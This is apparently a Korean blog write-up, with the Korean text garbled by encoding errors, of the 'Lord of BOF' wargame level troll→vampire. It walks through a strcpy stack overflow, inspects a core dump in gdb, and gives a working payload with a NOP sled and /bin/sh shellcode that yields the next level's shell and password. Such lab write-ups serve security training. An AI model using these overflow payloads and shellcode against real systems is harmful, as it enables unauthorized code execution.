wargame ๐Ÿด‍โ˜ ๏ธ write-up/Lord of BOF

9. troll → vampire

Kortsec1 2020. 12. 14. 00:04
[troll@localhost troll]$ cat -n vampire.c 
     1	/*
     2	        The Lord of the BOF : The Fellowship of the BOF
     3	        - vampire
     4	        - check 0xbfff
     5	*/
     6	
     7	#include <stdio.h>
     8	#include <stdlib.h>
     9	
    10	main(int argc, char *argv[])
    11	{
    12		char buffer[40];
    13	
    14		if(argc < 2){
    15			printf("argv error\n");
    16			exit(0);
    17		}
    18	
    19		if(argv[1][47] != '\xbf')
    20		{
    21			printf("stack is still your friend.\n");
    22			exit(0);
    23		}
    24	
    25	        // here is changed!
    26	        if(argv[1][46] == '\xff')
    27	        {
    28	                printf("but it's not forever\n");
    29	                exit(0);
    30	        }
    31	
    32		strcpy(buffer, argv[1]); 
    33		printf("%s\n", buffer);
    34	}

 

26~30 ์ฝ”๋“œ๋ฅผ ๋ณด๋‹ˆ argv[1]์˜ 47๋ฒˆ์งธ์™€ \xff๋ฅผ ๋น„๊ตํ•˜์—ฌ ๊ฐ™๋‹ค๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ์ข…๋ฃŒ๋˜๋Š” ๊ตฌ์กฐ์ž…๋‹ˆ๋‹ค.

์ฆ‰, ์šฐ๋ฆฌ๊ฐ€ ๊ธฐ์กด์— ret addr๋ฅผ ์Šคํƒ ์ƒ์˜ ์–ด๋– ํ•œ ๋ถ€๋ถ„์œผ๋กœ ๋ฎ์–ด์™”๋Š”๋ฐ

๋ณดํ†ต 0xbfff???? ์ด๋Ÿฐ ์‹์œผ๋กœ ๋ฎ์–ด์˜ค๋˜ ๊ฑฐ ๊ธฐ์–ตํ•˜์‹œ๋‚˜์š”?

 

 

 

์ œ๊ฐ€ Lob ์ฒซ ๋ฒˆ์งธ ํฌ์ŠคํŠธ ํŽธ์—์„œ๋„ ๋ง์”€๋“œ๋ ธ๋“ฏ์ด ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด ๊ต‰์žฅํžˆ ๋‹จ์ˆœํ•œ ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

2018/07/23 - [wargame write-up/Lord of BOF] - LoB ์›์ •๋Œ€ start

 

 

๊ฐ„๋‹จํžˆ ๋ณต์Šตํ•ด๋ณด์ž๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ์‹คํ–‰๋˜๋ฉด ๋ฉ”์ธ ๋ฉ”๋ชจ๋ฆฌ(RAM)์— ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ• ๋‹น๋ฉ๋‹ˆ๋‹ค. 

 

๋‚ฎ์€ ์ฃผ์†Œ
(Low Address)








๋†’์€ ์ฃผ์†Œ
(High Address)
๋ฐ์ดํ„ฐ ์˜์—ญ
(Data Area)
 
ํž™ ์˜์—ญ
(Heap Area)
์Šคํƒ ์˜์—ญ
(Stack Area)
์ปค๋„ ์˜์—ญ (Karnel Area)

 

์ด ๋ฌธ์ œ๋ฅผ ํ’€๊ธฐ ์œ„ํ•ด์„ , ์Šคํƒ ์˜์—ญ์„ 0xbfff???? ๋ณด๋‹ค ๋‚ฎ์€ ์ฃผ์†Œ, 0xbffe???? ๊นŒ์ง€ ๋Š˜๋ ค์•ผ ํ•จ์„ ์•Œ ์ˆ˜ ์žˆ๊ฒ ์ฃ ?

 

 

 

์ž„์˜์˜ ๊ฐ’์„ 0x10000๊ฐœ ๋„ฃ๊ณ  ์ฝ”์–ด ํŒŒ์ผ์„ ์—ด์–ด๋ณด๋ฉด

[troll@localhost troll]$ `python -c 'print "./test " + "A"*44 + "\xbf\xbf\xbf\xbf" + "\x90"*0x10000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿¿¿¿ 
Segmentation fault (core dumped)
[troll@localhost troll]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) i reg $esp
esp            0xbffefaf0	-1073808656
(gdb) x/40wx $esp
0xbffefaf0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffefb00:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffefb10:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffefb20:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffefb30:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffefb40:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffefb50:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffefb60:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffefb70:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffefb80:	0x90909090	0x90909090	0x90909090	0x90909090

 

 

์ฃผ์†Œ๊ฐ€ 0xbffe????๊นŒ์ง€ ๋‚ด๋ ค๊ฐ„ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์ œ ์ด ์ˆ˜๋งŽ์€ \x90(nop) ๋’ค์— ์‰˜ ์ฝ”๋“œ๋ฅผ ๋”ฑ ๋„ฃ์–ด๋†“์œผ๋ฉด ์ญ‰ ์‹คํ–‰์ด ๋˜๊ฒ ์ฃ ?

 

๋ฐ”๋กœ ๊ฐ€๋ณผ๊นŒ์š”

 

 

[troll@localhost troll]$ `python -c 'print "./vampire " + "A"*44 + "\x50\xfb\xfe\xbf" + "\x90"*0x10000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP๒ฟ1๓ฟฟh//shh/binโ“แ™ฐ
                                                            อ€ 
bash$ whoami
vampire
bash$ my-pass
euid = 509
music world

 

 

์ด.. ์ง€.. ํ•˜๊ฒŒ ์‰˜์ด ๋œน๋‹ˆ๋‹ค.

 

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > Lord of BOF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

10. vampire โ†’ skeleton  (0) 2020.12.19
8. orge โ†’ troll  (0) 2020.12.13
7. darkelf โ†’ orge  (0) 2020.12.13
6. wolfman โ†’ darkelf  (0) 2019.05.02